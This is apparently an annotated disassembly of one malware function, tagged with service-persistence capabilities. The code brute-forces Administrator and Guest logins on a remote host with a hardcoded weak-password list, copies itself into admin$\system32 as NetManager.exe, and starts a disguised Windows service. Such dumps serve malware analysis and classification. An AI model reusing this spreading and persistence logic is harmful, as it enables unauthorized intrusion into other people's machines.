Function at 0x401880
Capabilities:
Copy file
Create service
Persist via windows service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4122e8
push 0x40a574
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5f8
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov al, byte [0x43eff8]
mov byte [ebp - 0x218], al
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor ebx, ebx
mov byte [ebp - 0x258], bl
mov ecx, 0xc
xor eax, eax
lea edi, [ebp - 0x257]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
call sub.WSOCK32.dll_htonl
push eax
call sub.WSOCK32.dll_inet_ntoa
lea edx, [ebp - 0x218]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x3cc], 0x43eff8
mov dword [ebp - 0x3c8], 0x414588
mov dword [ebp - 0x3c4], 0x414584
mov dword [ebp - 0x3c0], str.123456
mov dword [ebp - 0x3bc], str.654321
mov dword [ebp - 0x3b8], str.guest
mov dword [ebp - 0x3b4], str.administrator
mov dword [ebp - 0x3b0], str.admin
mov dword [ebp - 0x3ac], str.111111
mov dword [ebp - 0x3a8], str.666666
mov dword [ebp - 0x3a4], str.888888
mov dword [ebp - 0x3a0], 0x414538
mov dword [ebp - 0x39c], str.abcdef
mov dword [ebp - 0x398], str.abcdefg
mov eax, str.12345678
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x390], str.abc123
mov dword [ebp - 0x38c], str.root
mov dword [ebp - 0x388], 0x414508
mov dword [ebp - 0x384], 0x414504
mov dword [ebp - 0x380], str.1234
mov dword [ebp - 0x37c], 0x4144f4
mov dword [ebp - 0x378], str.asdf
mov dword [ebp - 0x374], str.asdfgh
mov dword [ebp - 0x370], str.____
mov dword [ebp - 0x36c], 0x4144d4
mov dword [ebp - 0x368], 0x4144cc
mov dword [ebp - 0x364], 0x4144c0
mov dword [ebp - 0x360], 0x4144bc
mov dword [ebp - 0x35c], str.server
mov dword [ebp - 0x358], str.passwd
mov dword [ebp - 0x354], str.password
mov dword [ebp - 0x350], str.12345
mov dword [ebp - 0x34c], str.54321
mov dword [ebp - 0x348], str.pass
mov dword [ebp - 0x344], 0x414484
mov dword [ebp - 0x340], str.000000
mov dword [ebp - 0x33c], str.00000000
mov dword [ebp - 0x338], 0x41446c
mov dword [ebp - 0x334], 0x414468
mov dword [ebp - 0x330], str.11111111
mov dword [ebp - 0x32c], 0x414458
mov dword [ebp - 0x328], str.121212
mov dword [ebp - 0x324], str.123123
mov dword [ebp - 0x320], str.1234567
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x318], str.123456789
mov dword [ebp - 0x314], str.123abc
mov dword [ebp - 0x310], str.123asd
mov dword [ebp - 0x30c], str.2003
mov dword [ebp - 0x308], str.2004
mov dword [ebp - 0x304], str.2600
mov dword [ebp - 0x300], str.88888888
mov dword [ebp - 0x2fc], 0x4143fc
mov dword [ebp - 0x2f8], 0x4143f8
mov dword [ebp - 0x2f4], str.abcd
mov dword [ebp - 0x2f0], str.Admin
mov dword [ebp - 0x2ec], str.admin123
mov dword [ebp - 0x2e8], str.alpha
mov dword [ebp - 0x2e4], str.computer
mov dword [ebp - 0x2e0], str.database
mov dword [ebp - 0x2dc], str.enable
mov dword [ebp - 0x2d8], 0x4143b0
mov dword [ebp - 0x2d4], str.godblessyou
mov dword [ebp - 0x2d0], str.home
mov dword [ebp - 0x2cc], str.Internet
mov dword [ebp - 0x2c8], str.Login
mov dword [ebp - 0x2c4], str.login
mov dword [ebp - 0x2c0], str.love
mov dword [ebp - 0x2bc], str.mypass
mov dword [ebp - 0x2b8], str.mypass123
mov dword [ebp - 0x2b4], str.mypc
mov dword [ebp - 0x2b0], str.mypc123
mov dword [ebp - 0x2ac], str.oracle
mov dword [ebp - 0x2a8], str.owner
mov dword [ebp - 0x2a4], str.Password
mov dword [ebp - 0x2a0], 0x414334
mov dword [ebp - 0x29c], 0x414330
mov dword [ebp - 0x298], str.pw123
mov dword [ebp - 0x294], 0x414324
mov dword [ebp - 0x290], str.secret
mov dword [ebp - 0x28c], 0x414318
mov dword [ebp - 0x288], str.super
mov dword [ebp - 0x284], str.sybase
mov dword [ebp - 0x280], str.temp
mov dword [ebp - 0x27c], str.temp123
mov dword [ebp - 0x278], 0x4142f0
mov dword [ebp - 0x274], str.test123
mov dword [ebp - 0x270], 0x4142e4
mov dword [ebp - 0x26c], 0x4142e0
mov dword [ebp - 0x268], 0x4142dc
mov dword [ebp - 0x264], str.yxcv
mov dword [ebp - 0x260], str.zxcv
mov dword [ebp - 0x220], str.Administrator
mov dword [ebp - 0x21c], str.Guest
xor edi, edi
cmp edi, 2
jge 0x401e06
xor esi, esi
cmp esi, 0x5c
jge 0x401ed5
mov ecx, dword [ebp + esi*4 - 0x3cc]
push ecx
mov edx, dword [ebp + edi*4 - 0x220]
push edx
lea eax, [ebp - 0x218]
push eax
call fcn.00401ee0
add esp, 0xc
test al, al
je 0x401ecf
mov ecx, 0x20
xor eax, eax
mov edi, 0x43f144
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x200
lea ecx, [ebp - 0x5e4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4142b0
push 0x43f144
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
call esi
lea edx, [ebp - 0x218]
push edx
push 0x43f144
call esi
push str._admin__system32_
push 0x43f144
call esi
push str.NetManager.exe
push 0x43f144
call esi
push ebx
push 0x43f144
lea eax, [ebp - 0x5e4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x3e0], bl
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x5e8], edi
cmp edi, ebx
jne 0x401d9d
push 0xffffffffffffffff
lea edx, [ebp - 0x10]
push edx
jmp 0x401dfe
push ebx
push ebx
push ebx
push ebx
push ebx
push str.NetManager.exe__exe_start
push ebx
push 2
push 0x10
push 0xf01ff
push str.Windows_Management_NetWork_Service_Extensions
push str.Windows_Management_NetWork_Service_Extensions
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
mov dword [ebp - 0x608], esi
cmp esi, ebx
jne 0x401e23
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x401e1b
push 0xf01ff
push str.Windows_Management_NetWork_Service_Extensions
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x608], esi
cmp esi, ebx
jne 0x401e23
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call fcn.0040a4be
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
push ecx
jmp 0x401dfe
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x401e5d
push 0x14
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea edx, [ebp - 0x604]
push edx
push esi
call ebx
test eax, eax
je 0x401e6a
cmp dword [ebp - 0x600], 2
jne 0x401e6a
push 0x14
call edi
jmp 0x401e40
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x401df8
mov byte [ebp - 0x3e0], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00401e82
jmp 0x401df8
inc esi
jmp 0x401cca
inc edi
jmp 0x401cbf